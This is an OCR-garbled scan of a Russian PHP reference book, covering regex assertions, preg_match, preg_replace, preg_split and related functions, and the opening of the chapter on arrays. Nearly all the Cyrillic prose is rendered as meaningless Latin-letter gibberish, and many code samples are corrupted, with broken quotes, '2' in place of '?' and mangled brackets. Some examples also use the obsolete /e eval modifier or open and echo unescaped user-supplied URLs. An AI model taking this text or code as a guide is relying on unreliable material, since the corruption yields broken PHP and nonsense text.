Kak ye ObLI0 OTMEYEHO, YTBEPXKAEHHUS - ITO IPOBEPKU OTHOCUTEJIBHO CUMBO-
JIOB, KOTOPbI€ BCTPEYAIOTCA [0 WJIM MOCJ€E TEKYIeH MO3ULMU CONOCTABJIEHHS,
HUMYEro NPU 3TOM He 3aXBaThiBasi (HUKAKHe CUMBOJIbI HCXO[HOTO TEKCTA HE CTa-
BSITCSI B COOTBETCTBHE YTBEPXKIEHUSIM ). YTBEPIKAEHHUS OBIBAIOT IBYX THIIOB: aHa-
JIM3UPYIOLINE TEKCT, Ceayomuit noce tekymeit nosutmu (look ahead), u uny-
it nepen Heit (look behind). TlepBbie yTBEpkKAEHNS HA3bIBAIOTCA TAKKE OIeE-
PEXXAIOIMMH, a BTOPbIE - PETPOCIIEKTUBHBIMH.

Onmnepexaroiine U PETPOCIIEKTUBHbBIE YTBEPXKAEHUsT ObIBAIOT BYX BHOB: MOJIO-
XKUTeJIbHBIE U OTpHLIaTesnbHble. IlonoXNTeIbHOE YTBEPXKAEHHE TOBOPHUT “ClIemy-
IOLIMI /TIPEbIAYIMIA TEKCT A0JKEH ObITh MOXO0XK Ha”. OTpHLIATEIbHOE YTBEPXK-
JIEHHE TOBOPUT “CJIeYIOLINIT/NPEbIAYIINIT TEKCT HE JOKEH ObITh MOX0X Ha”.

B tabamiie 4.12 npuBeeHbl Y€ThIPE KOHCTPYKIIMHU, KOTOPbIE BbI MOXKETE UCIOJIb-
3oBatb B Perl-coBmecTumbix mwabsonax. Hu ofHa M3 KOHCTPYKUMI He 3aXBaThl-
BaeT TeKCT.

Tabnuua 4.12. Onepexaiowme U PETPOCNEKTUBHDIE YTBEPKACHUS

KoHcTpykuus Ha3nauyenne

(?=nopwabnoH) | MonoxutenbHoe onepexarloLiee yreepxaeHve

(?!'noawabnon) OTpuuaTtenbHoe onepexatouiee yreepxaeHve

(?<=nopnwabnoH) | MonoxuTensHoe peTPOCNEKTUBHOE YyTBEPXAEHUNE

(?<!'noawabnon) | OTpuuaTensHOE PETPOCNEKTUBHOE YTBEPXAEHME

[TpocToit nmpyMep MCHOJIB30BAHMS MOJOXKUTETBHOTO ONEPEXKAIOUIETO YTBEPXK-
JieHus - pa3zesienue aiia moyroBoro sika Unix Ha OTae/bHbIE COOOLIEHMS.
Hosoe coobieHre HauMHAeTCsl CTPOKOM, HauMHawleicst co cioBa “From”. Bl
MosKeTe pa3OUTh MOYTOBBII SIUK HA OT/IEIbHBIE COOOILEHHS, YKa3aB B KaueCcTBe
pasziesnuTeis cI0BO “From” B HaYasle CTPOKHU:

$messages = preg_split('/(2="From )/m', $mailbox);

PaCCMOTpI/IM NMpUMED HCIMOJIb30BAHUA OTPHUUATENbHOIO PETPOCIHEKTUBHOIO
YTBEPXKIAEHUSA - U3BJIEYEHHUE CTPOK, 3aKJIOYEHHDbIX B KaBblYKH, COAEPKAIIUX 3a-
KJIIOYEHHBbIE B KaBbIYKU Da3ACJIUTEIIHN. HaHpHMep, ceifiyuac Mbl U3BJIEYEM CTpO-
Ky, 3aKJII0Y4EHHYIO B OJMHAPHBIE KaBbIYKK (0OpaTHTE BHUMaHHE, 4TO PETYIsSPHOE
BbIpa’)X€HHE 3aKOMMEHTHUPOBAHO C UCITOJIb30BAHUEM MO}II/I(bI/IKaTOpa X):

$input =<<< END

name = 'Metst A\'ApTaHban';

END;
$paﬂern =<<<END
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# otkpbiBaem kasbi4kyopening quote
( # HauMHaem 3axsaT
ek # crpoka
(2<I\\\\ )  # nponyckaem 3kpaHMPOBAHHbIE KABLIKM
) # 3asepwaem 3axsat
! # 3aKpbIBaEM KOBBINKY

END;

preg_match( “($pattern)x”, $input, $match);
echo $match[1];

BoiBon:
MNets G\’ ApraHbsH

Ectb Bcero oqHa xutpoctb. YToObI MOJTyYHTh WWAGIOH, KOTOPbIi “OrJisiibiBaeTcs”
4TOOBI YBUETD, ABJIAETCS JIM NOCJI€HUIA CUMBOJI CJI3LIEM, HAM HY>XHO 3KpaHH-
POBaTh CJI31LL. ITO HYXKHO, YTOObI PEJOTBPATUTD CUTYALIUIO, KOT/]a MEXaHM3M pe-
TYJISIPHBIX BbIPDAXKEHUH YBUAUT \), YTO O3HAYAET 3aKPbIBAIOILYIO KPYTJIYIO CKOO-
Ky. pyrumu cioBamu, BMecTo \) HaM HyxHO ucnosb3oBatb \\). Ho npaBuia
PHP rosopsr, uto \\ NpOM3BOAUT €IMHCTBEHHDII CJIell, TO3TOMY HaM HY>HO
YeTbIpe CJI31Ia, YTOOBI MOJYYUTh OIMH B peryJisipHoM BoipaxkeHuu! ViMeHHO u3-
3a NOA0GHBIX CUTYallNit peryasipHble BbIPaXeHHsl 10CTATOYHO TPYAHO YUTATb.

Perl orpaHuunBaeT peTpocreKTUBHbIE yTBEPXKAeHUs. Bce moacTpoku, KOTOpbIM
OHH COOTBETCTBYIOT, IOJKHBI UMETb GUKCUPOBaHHYI0 AiuHY. Ho, B ciiyuae, eciin
UCIOJIb3YIOTCSI HECKOJIBKO aJIbTEPHATHB, OHU He 00513aHbl UMETb OJMHAKOBYIO
anny. Mexanuam Perl-coBmectumoct (PCRE) Takxke 3a6biBaeT kBaHTH(HKA-
TOPbI B PETPOCIIEKTUBHBIX YTBEPXKAEHHSIX, 3aTO pa3pellaeT alkTepHATHUBbI Pa3-
HOH JJIUHBIL.

4.8.16. CoxpauieHus nnm ogHOKpaTHbie NOAMAaCKH

OlIHOKpaTHbIe IMoJAMAaCKH YKa3bIBalOT, YTO €CJIM O/1HA YaCTb wabsioHa 6bl1a cono-
CTaBJIEHAQ, €€ HE CTOUT aHAJIM3UPOBATb MIOBTOPHO. TunuuyHoe ucnob30BaHUE A5
OlIHOKpaTHOﬁ MMOAMACKH - KOr/la y BaC €CTb [TIOBTOPpsAIOILEeCs BbIpaXXe€HUe, KOTO-
PO€ MOXXET NOBTOPATbLCSA CaMOCTOATEJ/IbHO!:

/la+|b*)*\.+/
PaccMOTpUM npuMep Kojia, BbIIOJHEHHE KOTOPOro 3aiiMeT HECKOJIbKO CEKYH,
Mpex/ae, 4eM OH BbIBEJET Hem:

$p="/(a+|b+)*\+$/,

$s = 'abababababbabbbabbaaaaaabbbbabbababababababbba..!’;

if (preg_match($p, $s)) {
echo "fa”;



PHP. MonHoe pykoBOACTBO U CNPaBOYHUK DYHKLMIA

else {
echo "Her”;

}

ITO MPOUCXOIUT MOTOMY, UTO MEXaHU3M PETYJIIPHOTO BbIPaXKE€HUS MbITAETCS Ha-
YaTh COOTBETCTBUE B Pa3HbIX MECTAX, HO JIOJIXKEH OTCJIEKUBATH KAXK/I0€ U3 HUX,
4TO 3aHMMaeT BpeMs. Eciiv Bbl 3HaeTe, UTO He HYXKHO MOBTOPHO aHAJIM3UPOBATh
ye 06paboTaHHYI0 4acTh abJI0Ha, TOT/Ia BbI JOJIXKHBI YKa3aTb 3TO (C MOMOIIIO
?>nodwab.ion):

$p="/(2>a+|b+)*\+$/";

4.8.17. YcnoBHble BbipaXeHus

YcnoBHOe BhipaXkeHHe MO CBOeH CYTH TPEICTaBIseT ONepaTop if B PEryJspHOM
BoipaxxeHuu. O61as opma TaKoro BhIpakeHUs CJIeAyolas:

(2(condition)yespattern)
(2(condition)yespattern | nopattern)

Ecau yTBepxaeHue ycrenHo, MEXaHW3M PeryjsipHbIX BbIpaKeHHH Oyner uc-
M0J1b30BaTh 111a0JI0H yespattern. Bo BTopoii hopMe, eciiu yTBepKIeHHE HEYCIIEl-
HO, TOTr/Ia MEXaHU3M PeryJIIPHbIX BbIpaXKEHUH MpomnycKaeT mabJoH yespattern
Y MbITaeTcs HAliTH COOTBETCTBHE M5 abI0Ha nopattern.

CylecTByeT 1Ba TUIIA YTBEPXKIAEHUI:
e oOpaTHas cchliKa (Mmoamacka);
e ormepexxarolilee/peTpOCIEKTUBHOE YTBEPXKIEHHUE,

Yrobbl cocnaTbcsi Ha paHee COOTBETCTBYIOIIYIO TMOJCTPOKY, MCIIOJb3yiTe
yTBepxkaeHue ¢ Homepom oT 1 10 99. YenoBue 6yaer BHIMOJHATLCA B TOM CITy-
yae, ec/iM moaMacka (obpaTHasi CChLIKA) C COOTBETCTBYIOIIMM HOMEPOM Oblia
yCIeNHo conocrabieHa. Eciu yTBepxkaeHue He sABAsSeTCS 0OPaTHOM CChLIKOIH,
OHO JIOJDKHO OBITH OTPUIATEIbHBIM MJIH TIOJIOXKUTENIbHBIM OMEPEXAIOIIM U
PeTPONePCHEKTUBHBIM YTBEPKIEHHEM.

4.8.18. OyHkuun

PaccmoTpuM nsATh KjaaccoB DYHKIMI, NpeqHasHaueHHbIX Ais pabotsi ¢ Perl-
coBMecTUMbIMHU peryisipHbiMu Bbipakenusimu (PCRE, Perl-compatible regular
expressions): COOTBETCTBHE, 3aMeHa, pa3/eJieHue, HGUIbTP, a TAKXKE CPeCTBa 3a-
KJIIOYEHHS TEKCTA B KABBIUKH.

CoorBercTeue

DyHKIMSA preg_match() TPOU3BOAUT TPOBEPKY Ha COOTBETCTBHE 0Opasiy
B cruse Perl. Ita dyHkuusa sxksuBasentHa oneparopy m// B Perl. ®yukuus
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preg_match() MPMHHUMAET Te XK€ apryMeHTbl M BO3BpALIA€eT Te K€ 3HauyeHus, 3a
MCKJIIOYEHHEM TOTO, YTO OHa NpyHMMaeT 11abiioH B ctuiie Perl BMecTo cranaapr-
Horo obpasia:

$found = preg_match(pattern, string [, captured ]);
Hanpumep:

preg_match('/y.*e$ /', 'Sylvie'); // true
preg_match('/y(.*)e$ /", 'Sylvie', $m); // $m = array('ylvie', 'Ivi')

DyHKUMA preg_match() YYBCTBUTEIbHA K PETMCTPY CHMMBOJIOB, ogHako B PHP
HET PErucTpPOHe3aBUCUMOH (YHKUMM preg_matchi(). 3aTo BBl MOXeTe HC-
10J1b30BaTh riar i B BalieM 1abJioHe:

preg_match('y.*e$ /i, 'Sylvle'); // true

DyHKUMsA preg_match_all) MOBTOPHO MPOM3BOAUT MOWCK COBMAJEHUH, MOKA
He OyzeT HaiileHO rocyieHee COBMNaEeHHE:

$found = preg_match_all(pattern, string, matches [, order ]);

3HaueHue mapaMmeTpa order MoxeT ObITb PREG_PATTERN_ORDER win PREG_SET_
ORDER 3a/1aeT pa3aMeTKy (Mopsa0K) Maccusa matches. UToObl IOHSAT, B YeM pa3-
HHUILIa MEXAY 3TUMU IBYMs 3HAYEHHUSIMH, aBaliTe B3TJISTHEM Ha CJeAYOUMH KO

$string = <<< END

13 cobak

12 kponukos

8 kopos

1 ko3a

END;

preg_match_all('/(\d+) (\S+)/", $string, $m1, PREG_PATTERN_ORDER);
preg_match_all('/(\d+) (\S+)/", $string, $m2, PREG_SET_ORDER);

ITo yMos4aHHIO HcnoIb3yeTcst NOPsIAOK PREG_PATTERN_ORDER, B KOTOPOM KaK-
JbIil 37IeMEHT MacCHBa COOTBETCTBYET ONpefeJeHHOMY 3aXBaueHHOMY MO/1Ia-
6s0ny. IToaToMy $m1[0] — MaccuB BCEX MOACTPOK, COOTBETCTBYOIMX 11abJio-
HY, $m1[1] — MaccHB BCceX NOJACTPOK, KOTOPbI€ COOTBETCTBYIOT IEPBOMY IO/~
6s0Hy (4ncaa), a $mi1[2] — MaccUB BCeX MOJACTPOK, COOTBETCTBYOUIMX BTOPOMY
noamabony (caosa). B MaccuBe $m1 Gouibliie HET 3J1IEMEHTOB, OH BHITJISIANT TaK:

Array
(
[0] => Array
(

[0] => 13 cobak
[1]=> 12 kponukos
[2] => 8 xopos
[3] => 1 ko3a
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[1]=> Array
(
[0]=>13
[1]=>12
(2]=>8
[3]=>1
)

[2) => Array
(
[0] => cobak
[1]=> kponukoe
[2] => kopos
[3]=>ko3a

)

[Tpu ucnosnbzoBanum PREG_SET_ORDER KaXIblil 371leMEHT MacCMBa COOTBETCTBY-
€T CJIeyIOLIeil TONbITKE COOTBETCTBOBaTh BeeMy 1iabiioHy. [Toatomy $m2[0] —
3TO MaccuB M3 mepBoro HaGopa coBmageHud ('13 cobax', '13', 'cobak'),
$m2[1] — maccuB BTOporo HaGopa coBmazeHud (‘12 kpoamkos’, '12', 'kponu-
xoe') U T.A. B MaccuBe $m2 CTOJIBKO 3JIEMEHTOB, CKOJIbKO HaiiieHo HabopoB co-
BIa/IeHU:

Array
(
[0] => Array
(
[0] => 13 cobak
[1]=>13
[2] => cobak

)

[1]=> Array
(
[0] => 12 kponukos
[1]=>12
[2] => kponukos

)

[2] => Array
(
[0] => 8 kopos
(1]=>8
(2] => kopos
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[3]=> Array
(
[0]=> 1 ko3a
[1]=>1
[2] => ko3a

)

ITpumep 4.1 nonyuaer HTML-koz no ykazaHHOMY azipecy B CTPOKY, @ IOTOM M3-
Biekaet u3 Hee Bce URL. /I1s1 kaxaoro URL renepupyercst obpaTHas cCbuiKa Ha

nporpamMmy, kotopasi noroM orobpasut Bce URL no Toit ccbike.

Mpumep 4.1. Usenekaem URL us HTML-cTpanunub

<¢php

if (getenv('/REQUEST_METHOD') == 'POST') {
$url = $_POST['url');

}

else {
$url=$_GET['url');

| ;

2>

<form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="POST">
<p>URL: <input type="text" name="url" value="<2php echo $url 2>" /><br />
<input type="submit">

</form>

<gphp
if ($url) {
$remote = fopen($url, 'r'); {
$html = fread($remote, 1048576); // untaem po 1 M6 HTML
}

fclose($remote);
$urls ='(http | telnet | gopher | file | wais | ftp)’;

$ltrs = "\w’;
$gunk = '/#7:.2+=8%@I\-";
$punc =".2\-;

$any = "{$ltrs} { $gunk} {$punc)”;

preg_match_all(” {

\b # HauuHaeMm ¢ rpaHmnubl cnosa
{$urls): # oxnpaem pecypc u pgoeToune
[{$any}] +2 # nocne kotopsix cneyet 1 unu Gonee ponycTumbix

# cumeonos — HO 6y,ub're KOHCEepPBATUBHbLI
# Bo3bmuTE TONBKO TO, 4TO BAM HYXHO
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(e= # cooTBeTCTBYET KOHLY
[{$punc}]*  # nynkraummn

[*{$any}] # nocne - ne-URL cumeon
| #or

\$ # koHeL cTpokw

)

}x”, $html, $matches);
printf(“Haitneno %d URL <P>\n", sizeof($matches[0]));
foreach ($matches[0] as $u) {

$link = $_SERVER['PHP_SELF'] . ‘2url=" . urlencode($u);
echo "<a href=\" { $link}\">{$u)}</a><br />\n";

RN AR RN IR I NN NN I NN R AN REEEERA NS

3ameHa

DyHkuMs preg_replace() paboTaeT, kak OObluHasi Orepalus MOUCKA M 3aMe-
HbI B BallleM TEKCTOBOM pefaktope. OHa HaXOAUT BCe MOCJE0BaTENBHOCTH 00-
paslia B CTPOKe ¥ 3aMEHSIET UX Ha YTO-TO JPYroeE:

$new = preg_replace(pattern, replacement, subject [, limit ]);

Yaiie Bcero UCMOJb3yIOTCS EPBble TPU apryMeHTa. ApryMeHT limit orpaHuyu-
BaeT MaKCHMaJIbHOE YU CJIO TOCTIeI0BATEIbHOCTE, 3a1aHHbIX H1abJIOHOM pattern,
KOTOpBbIe OyyT 3aMeHeHb! (110 YMOIYAHUIO MCIIONb3YeTCsl 3HAYEHHE -1, 03HaYa-
foliee, 4To OyAYT 3aMeHeHbI BCe T10CIe10BAaTEIbHOCTH ):

$better = preg_replace('/<.*2>/", I', '<b>ne</b> Haxumaiite kHonky');
// $better = 'luel naxumaitte kHonky'

B kauecTBe subject MOXHO TepeaaTh He TOJBKO CTPOKY, HO U MacCHB CTPOK.
DyHKMSA BEPHET MACCHB CTPOK, B KOTOPHIX OYAyT MPOM3BENE€HbI COOTBETCTBY-
IOl € 3AMEHBI

$names = array('Open Pnuncron’,
'Baphu Pabr',
'Bunsma Pnuncron’,
'bettn Pabn');

$tidy = preg_replace('/(\w)\w* (\w+)/", '\1 \2', $names);
// $tidy = array ('® ®nuncron’, ‘b Pabn’, ‘B ®nuncton’, ‘b Pabn’)

YT06bI IPOM3BECTH MHOKECTBEHHBIE 3aMEHbI B OHOM U TOH jKe CTPOKE UJIM Mac-
CHBe CTPOK C IMOMOIIbI0 BCErO OJHOTO BbI30Ba preg_replace(), NepeaaiiTe Mac-
CUBbI 00pa3LOB U 3aMEH:

// obpaaup!
$contractions = array(” /don't/i”, “/won't/i", ” /can't/i");
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// 3ameHsbl (0bpatuTe BHMMAHKE YMCNO 06PA3LOB AONXHO COOTBETCTBOBATL
// uncny 3amen)

$expansions = array(’do not’, ‘will not’, ‘can not’);

// ctpoka

$string = “Please don't yell—I can’t jump while you won't speak”;

// npon3soanm 3amery

$longer = preg_replace($contractions, $expansions, $string);

// $longer ='Please do not yell—I can not jump while you will not speak’;

Ecnu 3anano menblie 3aMeH, 4eM 00pasIioB, TEKCT, COOTBETCTBYIOIMIA 10MOJ-
HHUTEJbHBIM 00pa3iiaM, OyaeT yaaaeH. ITO MOXHO MCIOIb30BaTh IS yAaJIeHUs
MHOXX€eCTBa “JIMIIHUX" Belllel 3a OIUH pa3:

// ynansem HTML-teru

$htmIGunk = array('/<.*2>/", '/&.*2, /");

$html = '&anecs; : <b>xupHwii</b> Texcr’;

$stripped = preg_replace($htm|Gunk, array(), $himl);
// $stripped =" : xupHbiii Tekct'

Ecnu 3anan MaccuB mabI0HOB, HO €CTh BCEro OfiHa CTpokKa (a He MaccuB!) 3a-
MeHBI, 3Ta CTPOKa Oy/AeT MCMOJIb30BAaThCsl B KAyeCTBE 3aMEHbI /ISl KaXI0ro
wabJioHa:

$stripped = preg_replace($htmIGunk, ", $html);

3aMeHbl MOTYT HCIOJIb30BaTh 0OpaTHbIE CCHLIKH. B oT/1MYHE OT 0OpaTHBIX CChI-
JIOK B 11a6JI0HaX, MPeANnOYMTAEMbI CHHTAKCUC 1/ 0OPAaTHBIX CCLJIOK B 3aMe-
Hax - $1, $2, $3 u T.1. Hanpumep:

echo preg_replace('/(\w)\w+\s*+(\w+)/", '$2, $1., 'Open Pruncron')
®nuncron, P.

Monauduxkarop /e Tpakpyet cTpoky 3amenbl kak PHP-kon, koTopslii Bo3Bpaiua-
eT HaKTHYECKYIO CTPOKY, 4TOOBI HCIOIB30BATh ee [Jis1 3amenbl. Hanpumep, na-
BaliTe npeobpasyem Temnepatypy B Llenabcusix B DapeHrenTor:

$string = 'Ha ynuue 6bino 5C, suytpm - 20C’;
echo preg_replace('/(\d+)C\b/e', '$1*9/5+32', $string);

BriBox:
Ha ynuue 6bino 41, srytpu - 68

Teneps paccMoTpuM 6oJiee CIOXKHbBINA NPUMEP C UCTONb30BAHUEM MEPEMEHHbIX
B CTPOKE:

$name = 'Ppeny’;

$age = 35;

$string = '$name - $age’;

preg_replace('/\$(\w+]/e', '$$1", $string);
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Kaxnoe coBnazenne u3oaupyer uMs nepeMeHHOH ($name, $age). $1 B 3ameHe
OTHOCHMTCSI K TEM UMEHaM, TaKUM 00pa3oM, pakTH4ecKH, BbinoHsiembiit PHP -
KO/l - 3TO TlepeMeHHble $name U $age. ITOT KO/ BbIYUCIISIET 3HAYEHUSI TIEPEMEH -
HOHM, KOTOpOe 1 GY/IET UCII0JIb30BATHCSI B KAYECTBE 3aMEHBL.

BapuaHtoM GyHKUMH preg_replace() siBysieTcsi  (pYHKUHS  preg_replace_
callback(). OHa BbI3bIBa€T (YHKIUMIO, YTOOBI MOJYYHTb CTPOKY 3aMEHbI.
DyHk1uK nepegaercss MaccuB cooTBeTcTBUH (0-0i 371IeMEHT — BECb TEKCT, KOTO-
pblit cooTBeTcTBYeET WaboHy, 1-blif — COEPKHUMOE IEPBOrO 3aXBaY€HHOTO MO/ -
mabJona u T.1.). Hanpumep:

function titlecase($s)

{
)

return ucfirst(strtolower($s[0]));

“$string = 'noka xecTokuit mup';
$new = preg_replace_callback('/\w+/", ‘titlecase', $string);

echo $new;
Moka Xecrokuin Mup

Pa3neneHue

DyHKUMS preg_match_all() HCmosb3yercst Aisi u3Bje4eHHsl OJIOKOB M3 CTPO-
KM (KOrga Bbl 3HAeTe, KaK JOJKHBI BBILJISAETb 3TH GJI0KH), a GYHKUMS preg_
split() Mcrosb3yeTcst 1Jisi pa3jesieHnsl CTPOKH Ha OJIOKH, KOT/a Bbl 3HaeTe, Kak
JI0JIKEH BBITJISAIETb Pa3/IeITeN b 3THX GJI0KOB.

$chunks = preg_split(pattern, string [, limit [, flags ]]);

Oobpasell pattern cOOTBETCTBYeT pasieiuTenio AByx 6jokoB. [To yMonyaHuio
pasjenuTesnu He Bo3BpalaloTtcs. Heobs3aTenbHblil napamerp limit orpaHn4u-
BaeT 4YMCJI0 OJOKOB, KOTOpble OYAyT BO3BpalleHbl (3HAYEHHE 10 YMOJYaHHIO
-1, 4TO 03HayaeT, 4To OyAyT BO3BpalleHbl Bce 610kn). AprymeHT flags - mo-
6utoBass OR-koMOuHalus ¢aaros PREG_SPLT_NO_EMPTY (mycTble GJOKH He
BO3BpallalTcsi) W PREG_SPLIT_DELIM_CAPTURE (BO3BpallaloTCsl pasqesiuTe-
Jin 6J10KOB).

HpnMep: H3BJIEKAEM BCe€ OIl€pPaHabl H3 ITPOCTOI'0 YHCJIOBOT'O BBIDAXXEHUA!

$ops = preg_split(' {[+*/-]}', '3+5*9/2);
// $ops =array('3', '5','9", '2)
V3BJIeKaeM onepaH/Ibl ¥ ONIePaTOPBI:

$ops = preg_split('{([+*/-1)}', '3+5*9/2", -1, PREG_SPLIT_DELIM_CAPTURE);
// $op5 = 0Tr0y('3', I+I1 l5|’ |*|’ |9|’ ‘/', ,2|)



} Inasa 4. Ctpoku

ITycroit 06pa3sel] COOTBETCTBYET KaX /0l TPaHUIIE MEX/Y CUMBOJIAMHU B CTPOKE.
3JT0 N03BoJIsIET pa3bUBaTh CTPOKY Ha MACCHB CUMBOJIOB:

preg_split('//", $string, -1, PREG_SPLIT_NO_EMPTY);
®unbTpaums MaccuBa ¢ NOMOLLBIO PEryNSPHOTO BbipaXeH!s

DyHKUMA preg_grep() BO3BpALAET TOJbKO Te 3JIEMEHTHI MacCHBa, KOTOpbIE
COOTBETCTBYIOT 3alaHHOMY 00pasity:

$matching = preg_grep(pattern, array);

Hanpumep, uto6b! 1o1y4uTh UMeHa (HaiIOB C PaclIMPEHUEM LT, UCTIOb3YHTe
TaKoH BbI30B (DYHKLIMM:

$textfiles = preg_grep('/\.txt$ /', $filenames);
3aknioueHue B KaBbIYKN ANS PErYNSPHBIX BbIPAKEHMi

DyHKIUMS preg_quote() CO3/aeT PEryJsipHOE BbIPaXXeHHE, KOTOPOE COOTBET-
CTBYET TOJIbKO 33[]JaHHOI1 CTPOKE:

$re = preg_quote(string [, delimiter ]);

Kasxxzpiit cMMBOJ B string, MMeIOLIMI crieaibHOe 3HaYeHHe BHYTPHU PeryJsip-
HOTO BbIpaXkeHHe (TO ecTb * UK $) Oyaer “cHabkeH” oOpaTHBIi CJieleM:
echo preg_quote('$5.00 (navs 6akcos)');
BeiBon:
\$5\.00 \(nsatb 6akcos\)
Heobsi3aTe/bHbli BTOPO# apryMEHT - IOMOJHUTEIbHbIM CHMBOJI, KOTOPBIH TOXE

OyneT aKpaHUPOBaTbCsl. B KauecTBe 3TOro0 BTOPOro CHMBOJ1a 0OBIYHO YKa3bIBAIOT
CHUMBOJI /', UCTIOJIb3yEeMbIN B PETYJISIPHBIX BbIPAKEHUSIX:

$toFind = '/usr/local/etc/rsync.conf';
$re = preg_quote($tofind, '/");

if (preg_match(”/{$re}/”, $filename)) {
// wanpenol

}

4.8.19. Otnuums ot perynsipHbix Bbipaxenuid Perl

Xorts perynsipHble BbipaxkeHus: PHP nmoxoxu Ha peryJisipHble BbIpaXKeHUsI B CTH-
ne Perl, MeX /1y HUMH BCe-TaKH €CTb OTJIHYUSI:

e CumBon NULL (ASCII 0) Hesb3st HCTIO/IB30BaTh B KaUeCTBE CUMBOJIA JIH-
TepaJia BHYTPU CTPOKHU o6pa3iia. OfHAKO Bbl MOXKETE CChLIATHCS HA HETO
ApyruMu crocob6amu, Hanpumep \000, \x00 U T.1.
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e He nomnepxusatorcs onuun \E, \G, \L, \I, \Q, \uv 1 \U.

e Koucrpykuwus (2{ Perl-xo0 }) He nonaepxuBaetcs.

e Moaudukaropsi /D, /G, /U, /u, /A1 /X He TIOAAEPKUBAIOTCS.

o CnmBON BepTHK/IbHOM TabYISLMH \v CIUTAETCS TPOOETLHBIM CHMBOJIOM.

e Omnepexatomue (lookahead) u perpocnexktususie (lookbehind) yTBepx-
JIEHUS HE MOTYT TIOBTOPATBCS C UCTIOJIb30BAaHUEM *, + UJIH 2

° HOIIH]36JIOHI)I B CKOOKax ¢ OTpULIATEJIbHBIMH NMPOBEPKaMHU HE 3allOMUHa-
IOTCA.

e OTBeTBJIEHUS YePEOBAaHUS B PETPOCTIEKTUBHBIX IIPOBEPKAX MOTYT UMETh
Pa3HYIO IJIHHY.



Fnaea 5. Maccusbl

Kak 6b1110 ynomsinyTo B riase 2, si3abik PHP nognepxxuBaer U cKajisipHble, U CO-
CTaBHble TUIbI JAHHBIX. B 3TOI r;1aBe Mbl pACCMOTPUM OJIMH U3 COCTABHbIX TH-
MOB: MACCHBBI.

Maccus - aro yHOpﬂZlO‘leHHblﬁ Haﬁop AAaHHbIX, NpEeACTaBJNE€HHBIX B BH/I€ IIap
KJII0Y-3HAYEHHE.

Yr06bl IPEACTaBUTH, YTO TAKOE MACCUB, MOAYyMaiTe O HEM, KaK O MPSAMOYTOJib-
HOM JIOTKE JIJIsl SIUII C HECKOJIbKUMHU psiiaMu. Kaxkiblit OTCek JIOTKa MOXET CO-
JIEpXKaTh STH1I0, HO MBI IOKYIaeM, IepeMelaeM BECh JIOTOK cpa3y. JIOTOK [J1st stuif
MOXET COfIepXaTh He TOJIbKO sii1a. B ero oTceku MOXKHO MOJIOXKUTb GOJITHI, Taii-
KM, KaMEUIKH U MHOXECTBO JIPYIUX MEJIKUX npeamMeToB. Takum o6pa3om, MaccHB
He OrpaH1Y€eH OJHUM THUIIOM AaHHbIX. OH MOXET COJIepXkKaTh CTPOKH, L€JIble YHC-
Ja, IOTHYeCKHe nepeMeHHble U T.1. K ToMy ke 3/ieMeHTbl MacCHBa MOTYT, B CBOIO
o4Yepe/ib, TaKKe SIBJISThCS MAaCCUBaMH, HO 00 3TOM MbI TOTOBOPHM TTO3XKe.

B 3704 rJ1aBe Mbl TOTOBOPHM O CO3/IaHHU MaCcCHBA, 100aBJEHUH U YAaJEeHUH dJTe-
MEHTOB M3 MAaCCHBA, a TaKXKe 0 nepebope conepxxnumoro Maccuba. [Tockosbky Mac-
CHBbI O4€Hb U OY€HD M0JIE3HBI, MHOXECTBO BCTpoeHHbIX pyHkuunit PHP paboraer
¢ Humu. Hanpumep, eciv BBl XOTHUTE OTIIPABUTh 3JIEKTPOHHOE MMHUCHMO HoJee yeM
O/IHOMY a/ipecary, Bbl MOXKeTe XpaHUTh a/peca e-mail B MaccHBe U B IIUKJIE UTEPU-
POBaTb I10 HEMY, OTIIPaBJIsist COOOIIEHHE M0 TEKYIEMY aapecy. Takxe y Bac MOXeT
6biTh hopMa, B KOTOPOIi 110JIb30BATEIb MOXKET BbIOPATh HECKOJIBKO 3JIEMEHTOB
¥ BbIOpaHHbIE N0JIb30BaTEIEM 3JIEMEHTBI OYyT epeJaHbl BAM B BH/€ MACCHBA.

9.1. UHpexcupoBaHHble U acCOLMATUBHbIE MAaCCUBbI

B PHP cyuectByer aBa THa MacCMBOB: MH/IEKCHPOBAaHHbIE U aCCOLIMATHBHBIE.
Kioun uHIeKCMpOBaHHOIO MaccuBa — liesible yKca, HaunHawomuecs ¢ 0. Vn-
JeKCHpyeMble MaCCHBBI HCIOJb3YIOTCs], KOTZa Bbl MAeHTUUIMPYyeTe Belly He-
NOCPeJCTBEHHO MO X MO3uLMU (MHAeKcY). AccollMaTHBHbIE MAacCUBBI B Kaye-
CTBe KJIIOYel HCIOJb3YIOT CTPOKU U BeAyT cebsi 6osiblie Kak TabJHIbl HA 1Ba
crosbua. [TepBsblit crosGel - 3TO KJII0Y, KOTOPBIi UCIOIb3YeTCsI IS IOCTYTA KO
3HaueHHIo TpeGyeMoro ajieMeHTa MaccuBa (BTOPO¥i cToJibelr).

Bo BHyTpeHHeM npezactaBienun PHP xpanut Bce MaccuBBI Kak accoOlMaTHB-
Hble. EnHCTBEHHAs pa3sHUIla MEX/y aCCOLIMAaTUBHBIMH U UH/IEKCUPOBAHHBIMHU
MaccHBaMH — TO, YeM siByisieTcsi Kimod. Hekotopeie pyHKImr 06paboTku Maccu-
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BOB IIp€/1Ha3HAY€HbI TOJIbKO AJIs pa6OTbI C HHAEKCHPOBAHHBIMHU MACCHBAMH, I10-
CKOJIbKY OHHM npeAnoJiaraloT, YTO Bbl pa60TaeTe C KJIl04aMH, KOTOpbIE SABJIAIOT-
CsA nocJjeaoBaTeJbHbIMHU LIE€JIBIMHU YUCJIAMHU, HAYHHHAIOLIHMHCA C 0. Tem He MeHee,
B 060HMX CJ1ydasax KJIOYU YHUKAJIbHbBIL ﬂpyI‘HMH CJIOBaMH, y BAC HE MOXET ObITh
ABYX 3JIEMEHTOB C TEM XK€ KJIIOYOM, HE3ABUCHUMO OT TOrO, ABJAETCA JIH KJIIOY
CTpOKOﬁ HJIK LEJIBIM YHCJIOM.

Y maccuBoB PHP ectb BHYTpeHHHMii MOPSAAOK, KOTOPBII HE3aBUCHM OT KJIOUeii,
3HaueHW# M YHKUMH, KOTOPbIE Bbl MOXETe UCIMOJIb30BaTh AJs1 00X04a MaccH-
Ba. O6xoa MaccuBa (MOCJ/Ie10BaTeIbHbIN NIepebop 3J1EMEHTOB MACCHBA) OCHOBAaH
Ha 3TOM BHyTpeHHeM nopsiake. OObIYHO 3/1EMEHTBI MACCHBA XPAHSITCSI B TOM I10-
